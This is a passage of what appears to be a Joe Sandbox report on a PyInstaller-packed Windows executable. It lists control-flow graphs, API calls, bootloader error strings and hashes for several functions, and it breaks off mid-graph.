16009->16014 16016 7ff666deb379 FlsSetValue 16015->16016 16018 7ff666deb35c 16015->16018 16017 7ff666deb38b 16016->16017 16029 7ff666deb369 16016->16029 16020 7ff666deec08 _get_daylight 5 API calls 16017->16020 16018->16016 16018->16029 16019 7ff666deb3e5 SetLastError 16019->16008 16021 7ff666deb39a 16020->16021 16022 7ff666deb3b8 FlsSetValue 16021->16022 16023 7ff666deb3a8 FlsSetValue 16021->16023 16025 7ff666deb3c4 FlsSetValue 16022->16025 16026 7ff666deb3d6 16022->16026 16024 7ff666deb3b1 16023->16024 16027 7ff666dea9b8 __free_lconv_num 5 API calls 16024->16027 16025->16024 16028 7ff666deaf64 _get_daylight 5 API calls 16026->16028 16027->16029 16030 7ff666deb3de 16028->16030 16029->16019 16031 7ff666dea9b8 __free_lconv_num 5 API calls 16030->16031 16031->16019 16044 7ff666df0348 EnterCriticalSection 16032->16044 16080 7ff666df3678 16046->16080 16085 7ff666df0348 EnterCriticalSection 16080->16085 16150 7ff666ddbb50 16151 7ff666ddbb7e 16150->16151 16152 7ff666ddbb65 16150->16152 16152->16151 16155 7ff666ded66c 16152->16155 16156 7ff666ded6b7 16155->16156 16160 7ff666ded67b _get_daylight 16155->16160 16157 7ff666de4f78 _get_daylight 11 API calls 16156->16157 16159 7ff666ddbbde 16157->16159 16158 7ff666ded69e HeapAlloc 16158->16159 16158->16160 16160->16156 16160->16158 16161 7ff666df3600 _get_daylight 2 API calls 16160->16161 16161->16160

                                                                                                                                                                                                                                              Executed Functions

                                                                                                                                                                                                                                              Function 00007FF666DD8BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 0 7ff666dd8bd0-7ff666dd8d16 call 7ff666ddc8c0 call 7ff666dd9400 SetConsoleCtrlHandler GetStartupInfoW call 7ff666de5460 call 7ff666dea4ec call 7ff666de878c call 7ff666de5460 call 7ff666dea4ec call 7ff666de878c call 7ff666de5460 call 7ff666dea4ec call 7ff666de878c GetCommandLineW CreateProcessW 23 7ff666dd8d3d-7ff666dd8d79 RegisterClassW 0->23 24 7ff666dd8d18-7ff666dd8d38 GetLastError call 7ff666dd2c50 0->24 25 7ff666dd8d81-7ff666dd8dd5 CreateWindowExW 23->25 26 7ff666dd8d7b GetLastError 23->26 31 7ff666dd9029-7ff666dd904f call 7ff666ddc5c0 24->31 29 7ff666dd8ddf-7ff666dd8de4 ShowWindow 25->29 30 7ff666dd8dd7-7ff666dd8ddd GetLastError 25->30 26->25 32 7ff666dd8dea-7ff666dd8dfa WaitForSingleObject 29->32 30->32 34 7ff666dd8dfc 32->34 35 7ff666dd8e78-7ff666dd8e7f 32->35 37 7ff666dd8e00-7ff666dd8e03 34->37 38 7ff666dd8ec2-7ff666dd8ec9 35->38 39 7ff666dd8e81-7ff666dd8e91 WaitForSingleObject 35->39 44 7ff666dd8e05 GetLastError 37->44 45 7ff666dd8e0b-7ff666dd8e12 37->45 42 7ff666dd8ecf-7ff666dd8ee5 QueryPerformanceFrequency QueryPerformanceCounter 38->42 43 7ff666dd8fb0-7ff666dd8fc9 GetMessageW 38->43 40 7ff666dd8e97-7ff666dd8ea7 TerminateProcess 39->40 41 7ff666dd8fe8-7ff666dd8ff2 39->41 48 7ff666dd8eaf-7ff666dd8ebd WaitForSingleObject 40->48 49 7ff666dd8ea9 GetLastError 40->49 46 7ff666dd8ff4-7ff666dd8ffa DestroyWindow 41->46 47 7ff666dd9001-7ff666dd9025 GetExitCodeProcess CloseHandle * 2 41->47 50 7ff666dd8ef0-7ff666dd8f28 MsgWaitForMultipleObjects PeekMessageW 42->50 52 7ff666dd8fdf-7ff666dd8fe6 43->52 53 7ff666dd8fcb-7ff666dd8fd9 TranslateMessage DispatchMessageW 43->53 44->45 45->39 51 7ff666dd8e14-7ff666dd8e31 PeekMessageW 45->51 46->47 47->31 48->41 49->48 54 7ff666dd8f63-7ff666dd8f6a 50->54 55 7ff666dd8f2a 50->55 56 7ff666dd8e33-7ff666dd8e64 TranslateMessage DispatchMessageW PeekMessageW 51->56 57 7ff666dd8e66-7ff666dd8e76 WaitForSingleObject 51->57 52->41 52->43 53->52 54->43 59 7ff666dd8f6c-7ff666dd8f95 QueryPerformanceCounter 54->59 58 7ff666dd8f30-7ff666dd8f61 TranslateMessage DispatchMessageW PeekMessageW 55->58 56->56 56->57 57->35 57->37 58->54 58->58 59->50 60 7ff666dd8f9b-7ff666dd8fa2 59->60 60->41 61 7ff666dd8fa4-7ff666dd8fa8 60->61 61->43
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
                                                                                                                                                                                                                                              • String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
                                                                                                                                                                                                                                              • API String ID: 3832162212-3165540532
                                                                                                                                                                                                                                              • Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
                                                                                                                                                                                                                                              • Instruction ID: 3f6cc778b0c5ec06e7200bf10d7e6b532c5dd1b7b2e65dd7980d8f834fc02e5f
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BAD15C32A08A82D6EB109F74F8542A977B4FB84B58F445335DA5D8EAA8DF3ED5448F00
                                                                                                                                                                                                                                              Function 00007FF666DD1000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 62 7ff666dd1000-7ff666dd3806 call 7ff666ddfe88 call 7ff666ddfe90 call 7ff666ddc8c0 call 7ff666de5460 call 7ff666de54f4 call 7ff666dd36b0 76 7ff666dd3814-7ff666dd3836 call 7ff666dd1950 62->76 77 7ff666dd3808-7ff666dd380f 62->77 82 7ff666dd391b-7ff666dd3931 call 7ff666dd45b0 76->82 83 7ff666dd383c-7ff666dd3856 call 7ff666dd1c80 76->83 78 7ff666dd3c97-7ff666dd3cb2 call 7ff666ddc5c0 77->78 90 7ff666dd3933-7ff666dd3960 call 7ff666dd7f80 82->90 91 7ff666dd396a-7ff666dd397f call 7ff666dd2710 82->91 87 7ff666dd385b-7ff666dd389b call 7ff666dd8a20 83->87 97 7ff666dd38c1-7ff666dd38cc call 7ff666de4fa0 87->97 98 7ff666dd389d-7ff666dd38a3 87->98 99 7ff666dd3962-7ff666dd3965 call 7ff666de00bc 90->99 100 7ff666dd3984-7ff666dd39a6 call 7ff666dd1c80 90->100 101 7ff666dd3c8f 91->101 109 7ff666dd38d2-7ff666dd38e1 call 7ff666dd8a20 97->109 110 7ff666dd39fc-7ff666dd3a2a call 7ff666dd8b30 call 7ff666dd8b90 * 3 97->110 102 7ff666dd38a5-7ff666dd38ad 98->102 103 7ff666dd38af-7ff666dd38bd call 7ff666dd8b90 98->103 99->91 115 7ff666dd39b0-7ff666dd39b9 100->115 101->78 102->103 103->97 119 7ff666dd39f4-7ff666dd39f7 call 7ff666de4fa0 109->119 120 7ff666dd38e7-7ff666dd38ed 109->120 138 7ff666dd3a2f-7ff666dd3a3e call 7ff666dd8a20 110->138 115->115 118 7ff666dd39bb-7ff666dd39d8 call 7ff666dd1950 115->118 118->87 130 7ff666dd39de-7ff666dd39ef call 7ff666dd2710 118->130 119->110 124 7ff666dd38f0-7ff666dd38fc 120->124 127 7ff666dd3905-7ff666dd3908 124->127 128 7ff666dd38fe-7ff666dd3903 124->128 127->119 131 7ff666dd390e-7ff666dd3916 call 7ff666de4fa0 127->131 128->124 128->127 130->101 131->138 141 7ff666dd3a44-7ff666dd3a47 138->141 142 7ff666dd3b45-7ff666dd3b53 138->142 141->142 145 7ff666dd3a4d-7ff666dd3a50 141->145 143 7ff666dd3a67 142->143 144 7ff666dd3b59-7ff666dd3b5d 142->144 146 7ff666dd3a6b-7ff666dd3a90 call 7ff666de4fa0 143->146 144->146 147 7ff666dd3b14-7ff666dd3b17 145->147 148 7ff666dd3a56-7ff666dd3a5a 145->148 157 7ff666dd3a92-7ff666dd3aa6 call 7ff666dd8b30 146->157 158 7ff666dd3aab-7ff666dd3ac0 146->158 150 7ff666dd3b2f-7ff666dd3b40 call 7ff666dd2710 147->150 151 7ff666dd3b19-7ff666dd3b1d 147->151 148->147 149 7ff666dd3a60 148->149 149->143 159 7ff666dd3c7f-7ff666dd3c87 150->159 151->150 153 7ff666dd3b1f-7ff666dd3b2a 151->153 153->146 157->158 161 7ff666dd3ac6-7ff666dd3aca 158->161 162 7ff666dd3be8-7ff666dd3bfa call 7ff666dd8a20 158->162 159->101 164 7ff666dd3ad0-7ff666dd3ae8 call 7ff666de52c0 161->164 165 7ff666dd3bcd-7ff666dd3be2 call 7ff666dd1940 161->165 170 7ff666dd3c2e 162->170 171 7ff666dd3bfc-7ff666dd3c02 162->171 175 7ff666dd3b62-7ff666dd3b7a call 7ff666de52c0 164->175 176 7ff666dd3aea-7ff666dd3b02 call 7ff666de52c0 164->176 165->161 165->162 177 7ff666dd3c31-7ff666dd3c40 call 7ff666de4fa0 170->177 173 7ff666dd3c04-7ff666dd3c1c 171->173 174 7ff666dd3c1e-7ff666dd3c2c 171->174 173->177 174->177 186 7ff666dd3b7c-7ff666dd3b80 175->186 187 7ff666dd3b87-7ff666dd3b9f call 7ff666de52c0 175->187 176->165 188 7ff666dd3b08-7ff666dd3b0f 176->188 184 7ff666dd3d41-7ff666dd3d63 call 7ff666dd44d0 177->184 185 7ff666dd3c46-7ff666dd3c4a 177->185 199 7ff666dd3d65-7ff666dd3d6f call 7ff666dd4620 184->199 200 7ff666dd3d71-7ff666dd3d82 call 7ff666dd1c80 184->200 189 7ff666dd3cd4-7ff666dd3ce6 call 7ff666dd8a20 185->189 190 7ff666dd3c50-7ff666dd3c5f call 7ff666dd90e0 185->190 186->187 201 7ff666dd3ba1-7ff666dd3ba5 187->201 202 7ff666dd3bac-7ff666dd3bc4 call 7ff666de52c0 187->202 188->165 206 7ff666dd3d35-7ff666dd3d3c 189->206 207 7ff666dd3ce8-7ff666dd3ceb 189->207 204 7ff666dd3cb3-7ff666dd3cb6 call 7ff666dd8850 190->204 205 7ff666dd3c61 190->205 214 7ff666dd3d87-7ff666dd3d96 199->214 200->214 201->202 202->165 217 7ff666dd3bc6 202->217 216 7ff666dd3cbb-7ff666dd3cbd 204->216 211 7ff666dd3c68 call 7ff666dd2710 205->211 206->211 207->206 212 7ff666dd3ced-7ff666dd3d10 call 7ff666dd1c80 207->212 225 7ff666dd3c6d-7ff666dd3c77 211->225 229 7ff666dd3d12-7ff666dd3d26 call 7ff666dd2710 call 7ff666de4fa0 212->229 230 7ff666dd3d2b-7ff666dd3d33 call 7ff666de4fa0 212->230 220 7ff666dd3dc4-7ff666dd3dda call 7ff666dd9400 214->220 221 7ff666dd3d98-7ff666dd3d9f 214->221 223 7ff666dd3cbf-7ff666dd3cc6 216->223 224 7ff666dd3cc8-7ff666dd3ccf 216->224 217->165 233 7ff666dd3ddc 220->233 234 7ff666dd3de8-7ff666dd3e04 SetDllDirectoryW 220->234 221->220 227 7ff666dd3da1-7ff666dd3da5 221->227 223->211 224->214 225->159 227->220 231 7ff666dd3da7-7ff666dd3dbe SetDllDirectoryW LoadLibraryExW 227->231 229->225 230->214 231->220 233->234 237 7ff666dd3f01-7ff666dd3f08 234->237 238 7ff666dd3e0a-7ff666dd3e19 call 7ff666dd8a20 234->238 240 7ff666dd3f0e-7ff666dd3f15 237->240 241 7ff666dd3ffc-7ff666dd4004 237->241 251 7ff666dd3e32-7ff666dd3e3c call 7ff666de4fa0 238->251 252 7ff666dd3e1b-7ff666dd3e21 238->252 240->241 244 7ff666dd3f1b-7ff666dd3f25 call 7ff666dd33c0 240->244 245 7ff666dd4006-7ff666dd4023 PostMessageW GetMessageW 241->245 246 7ff666dd4029-7ff666dd405b call 7ff666dd36a0 call 7ff666dd3360 call 7ff666dd3670 call 7ff666dd6fb0 call 7ff666dd6d60 241->246 244->225 258 7ff666dd3f2b-7ff666dd3f3f call 7ff666dd90c0 244->258 245->246 263 7ff666dd3ef2-7ff666dd3efc call 7ff666dd8b30 251->263 264 7ff666dd3e42-7ff666dd3e48 251->264 255 7ff666dd3e23-7ff666dd3e2b 252->255 256 7ff666dd3e2d-7ff666dd3e2f 252->256 255->256 256->251 271 7ff666dd3f64-7ff666dd3fa0 call 7ff666dd8b30 call 7ff666dd8bd0 call 7ff666dd6fb0 call 7ff666dd6d60 call 7ff666dd8ad0 258->271 272 7ff666dd3f41-7ff666dd3f5e PostMessageW GetMessageW 258->272 263->237 264->263 268 7ff666dd3e4e-7ff666dd3e54 264->268 269 7ff666dd3e5f-7ff666dd3e61 268->269 270 7ff666dd3e56-7ff666dd3e58 268->270 269->237 275 7ff666dd3e67-7ff666dd3e83 call 7ff666dd6db0 call 7ff666dd7330 269->275 274 7ff666dd3e5a 270->274 270->275 306 7ff666dd3fa5-7ff666dd3fa7 271->306 272->271 274->237 289 7ff666dd3e85-7ff666dd3e8c 275->289 290 7ff666dd3e8e-7ff666dd3e95 275->290 292 7ff666dd3edb-7ff666dd3ef0 call 7ff666dd2a50 call 7ff666dd6fb0 call 7ff666dd6d60 289->292 293 7ff666dd3eaf-7ff666dd3eb9 call 7ff666dd71a0 290->293 294 7ff666dd3e97-7ff666dd3ea4 call 7ff666dd6df0 290->294 292->237 304 7ff666dd3ec4-7ff666dd3ed2 call 7ff666dd74e0 293->304 305 7ff666dd3ebb-7ff666dd3ec2 293->305 294->293 308 7ff666dd3ea6-7ff666dd3ead 294->308 304->237 318 7ff666dd3ed4 304->318 305->292 310 7ff666dd3fe9-7ff666dd3ff7 call 7ff666dd1900 306->310 311 7ff666dd3fa9-7ff666dd3fb3 call 7ff666dd9200 306->311 308->292 310->225 311->310 321 7ff666dd3fb5-7ff666dd3fca 311->321 318->292 322 7ff666dd3fe4 call 7ff666dd2a50 321->322 323 7ff666dd3fcc-7ff666dd3fdf call 7ff666dd2710 call 7ff666dd1900 321->323 322->310 323->225
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFileLastModuleName
                                                                                                                                                                                                                                              • String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
                                                                                                                                                                                                                                              • API String ID: 2776309574-4232158417
                                                                                                                                                                                                                                              • Opcode ID: b3b5a56992daf9903ed9efec52e2e31294b1e992dc7436ca3323256ab31d685a
                                                                                                                                                                                                                                              • Instruction ID: d16882f22927bd9a450985dfd920e7344504ea5d382338fe6f3a087974ef6fc1
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b3b5a56992daf9903ed9efec52e2e31294b1e992dc7436ca3323256ab31d685a
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D6328D21A0C682D1FB25AB25F4543B96271AF85784F454232DA5DCF2D6EF3EE958CF00
                                                                                                                                                                                                                                              Function 00007FF666DF5C70 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334timeCOMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 477 7ff666df5c70-7ff666df5cab call 7ff666df55f8 call 7ff666df5600 call 7ff666df5668 484 7ff666df5ed5-7ff666df5f21 call 7ff666dea970 call 7ff666df55f8 call 7ff666df5600 call 7ff666df5668 477->484 485 7ff666df5cb1-7ff666df5cbc call 7ff666df5608 477->485 511 7ff666df605f-7ff666df60cd call 7ff666dea970 call 7ff666df15e8 484->511 512 7ff666df5f27-7ff666df5f32 call 7ff666df5608 484->512 485->484 491 7ff666df5cc2-7ff666df5ccc 485->491 493 7ff666df5cee-7ff666df5cf2 491->493 494 7ff666df5cce-7ff666df5cd1 491->494 497 7ff666df5cf5-7ff666df5cfd 493->497 495 7ff666df5cd4-7ff666df5cdf 494->495 498 7ff666df5ce1-7ff666df5ce8 495->498 499 7ff666df5cea-7ff666df5cec 495->499 497->497 501 7ff666df5cff-7ff666df5d12 call 7ff666ded66c 497->501 498->495 498->499 499->493 502 7ff666df5d1b-7ff666df5d29 499->502 508 7ff666df5d14-7ff666df5d16 call 7ff666dea9b8 501->508 509 7ff666df5d2a-7ff666df5d36 call 7ff666dea9b8 501->509 508->502 517 7ff666df5d3d-7ff666df5d45 509->517 530 7ff666df60cf-7ff666df60d6 511->530 531 7ff666df60db-7ff666df60de 511->531 512->511 521 7ff666df5f38-7ff666df5f43 call 7ff666df5638 512->521 517->517 520 7ff666df5d47-7ff666df5d58 call 7ff666df04e4 517->520 520->484 529 7ff666df5d5e-7ff666df5db4 call 7ff666dfa540 * 4 call 7ff666df5b8c 520->529 521->511 532 7ff666df5f49-7ff666df5f6c call 7ff666dea9b8 GetTimeZoneInformation 521->532 589 7ff666df5db6-7ff666df5dba 529->589 534 7ff666df616b-7ff666df616e 530->534 535 7ff666df6115-7ff666df6128 call 7ff666ded66c 531->535 536 7ff666df60e0 531->536 543 7ff666df6034-7ff666df605e call 7ff666df55f0 call 7ff666df55e0 call 7ff666df55e8 532->543 544 7ff666df5f72-7ff666df5f93 532->544 538 7ff666df6174-7ff666df617c call 7ff666df5c70 534->538 539 7ff666df60e3 call 7ff666df5eec 534->539 554 7ff666df6133-7ff666df614e call 7ff666df15e8 535->554 555 7ff666df612a 535->555 536->539 549 7ff666df60e8-7ff666df6114 call 7ff666dea9b8 call 7ff666ddc5c0 538->549 539->549 550 7ff666df5f95-7ff666df5f9b 544->550 551 7ff666df5f9e-7ff666df5fa5 544->551 550->551 559 7ff666df5fb9 551->559 560 7ff666df5fa7-7ff666df5faf 551->560 576 7ff666df6155-7ff666df6167 call 7ff666dea9b8 554->576 577 7ff666df6150-7ff666df6153 554->577 562 7ff666df612c-7ff666df6131 call 7ff666dea9b8 555->562 566 7ff666df5fbb-7ff666df602f call 7ff666dfa540 * 4 call 7ff666df2bcc call 7ff666df6184 * 2 559->566 560->559 567 7ff666df5fb1-7ff666df5fb7 560->567 562->536 566->543 567->566 576->534 577->562 591 7ff666df5dc0-7ff666df5dc4 589->591 592 7ff666df5dbc 589->592 591->589 594 7ff666df5dc6-7ff666df5deb call 7ff666de6bc8 591->594 592->591 600 7ff666df5dee-7ff666df5df2 594->600 603 7ff666df5df4-7ff666df5dff 600->603 604 7ff666df5e01-7ff666df5e05 600->604 603->604 606 7ff666df5e07-7ff666df5e0b 603->606 604->600 607 7ff666df5e8c-7ff666df5e90 606->607 608 7ff666df5e0d-7ff666df5e35 call 7ff666de6bc8 606->608 611 7ff666df5e92-7ff666df5e94 607->611 612 7ff666df5e97-7ff666df5ea4 607->612 617 7ff666df5e53-7ff666df5e57 608->617 618 7ff666df5e37 608->618 611->612 613 7ff666df5ebf-7ff666df5ece call 7ff666df55f0 call 7ff666df55e0 612->613 614 7ff666df5ea6-7ff666df5ebc call 7ff666df5b8c 612->614 613->484 614->613 617->607 623 7ff666df5e59-7ff666df5e77 call 7ff666de6bc8 617->623 621 7ff666df5e3a-7ff666df5e41 618->621 621->617 624 7ff666df5e43-7ff666df5e51 621->624 629 7ff666df5e83-7ff666df5e8a 623->629 624->617 624->621 629->607 630 7ff666df5e79-7ff666df5e7d 629->630 630->607 631 7ff666df5e7f 630->631 631->629
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF666DF5CB5
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DF5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF666DF561C
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DEA9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF666DF2D92,?,?,?,00007FF666DF2DCF,?,?,00000000,00007FF666DF3295,?,?,?,00007FF666DF31C7), ref: 00007FF666DEA9CE
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DEA9B8: GetLastError.KERNEL32(?,?,?,00007FF666DF2D92,?,?,?,00007FF666DF2DCF,?,?,00000000,00007FF666DF3295,?,?,?,00007FF666DF31C7), ref: 00007FF666DEA9D8
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DEA970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF666DEA94F,?,?,?,?,?,00007FF666DEA83A), ref: 00007FF666DEA979
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DEA970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF666DEA94F,?,?,?,?,?,00007FF666DEA83A), ref: 00007FF666DEA99E
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF666DF5CA4
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DF5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF666DF567C
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF666DF5F1A
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF666DF5F2B
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF666DF5F3C
                                                                                                                                                                                                                                              • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF666DF617C), ref: 00007FF666DF5F63
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
                                                                                                                                                                                                                                              • String ID: Eastern Standard Time$Eastern Summer Time
                                                                                                                                                                                                                                              • API String ID: 4070488512-239921721
                                                                                                                                                                                                                                              • Opcode ID: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
                                                                                                                                                                                                                                              • Instruction ID: caa80ad4b942c55ff58ab66193bf82805f83becb7eb16d2d49b561ffb7aa74a2
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F6D1A136A08242C6E720AF26E8511B96771EFD4794F858236EA4DCFB95DF3EE441CB40
                                                                                                                                                                                                                                              Function 00007FF666DF69D4 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 691 7ff666df69d4-7ff666df6a47 call 7ff666df6708 694 7ff666df6a61-7ff666df6a6b call 7ff666de8590 691->694 695 7ff666df6a49-7ff666df6a52 call 7ff666de4f58 691->695 701 7ff666df6a6d-7ff666df6a84 call 7ff666de4f58 call 7ff666de4f78 694->701 702 7ff666df6a86-7ff666df6aef CreateFileW 694->702 700 7ff666df6a55-7ff666df6a5c call 7ff666de4f78 695->700 715 7ff666df6da2-7ff666df6dc2 700->715 701->700 703 7ff666df6af1-7ff666df6af7 702->703 704 7ff666df6b6c-7ff666df6b77 GetFileType 702->704 707 7ff666df6b39-7ff666df6b67 GetLastError call 7ff666de4eec 703->707 708 7ff666df6af9-7ff666df6afd 703->708 710 7ff666df6bca-7ff666df6bd1 704->710 711 7ff666df6b79-7ff666df6bb4 GetLastError call 7ff666de4eec CloseHandle 704->711 707->700 708->707 713 7ff666df6aff-7ff666df6b37 CreateFileW 708->713 718 7ff666df6bd3-7ff666df6bd7 710->718 719 7ff666df6bd9-7ff666df6bdc 710->719 711->700 726 7ff666df6bba-7ff666df6bc5 call 7ff666de4f78 711->726 713->704 713->707 720 7ff666df6be2-7ff666df6c37 call 7ff666de84a8 718->720 719->720 721 7ff666df6bde 719->721 729 7ff666df6c39-7ff666df6c45 call 7ff666df6910 720->729 730 7ff666df6c56-7ff666df6c87 call 7ff666df6488 720->730 721->720 726->700 729->730 736 7ff666df6c47 729->736 737 7ff666df6c8d-7ff666df6ccf 730->737 738 7ff666df6c89-7ff666df6c8b 730->738 741 7ff666df6c49-7ff666df6c51 call 7ff666deab30 736->741 739 7ff666df6cf1-7ff666df6cfc 737->739 740 7ff666df6cd1-7ff666df6cd5 737->740 738->741 743 7ff666df6d02-7ff666df6d06 739->743 744 7ff666df6da0 739->744 740->739 742 7ff666df6cd7-7ff666df6cec 740->742 741->715 742->739 743->744 746 7ff666df6d0c-7ff666df6d51 CloseHandle CreateFileW 743->746 744->715 748 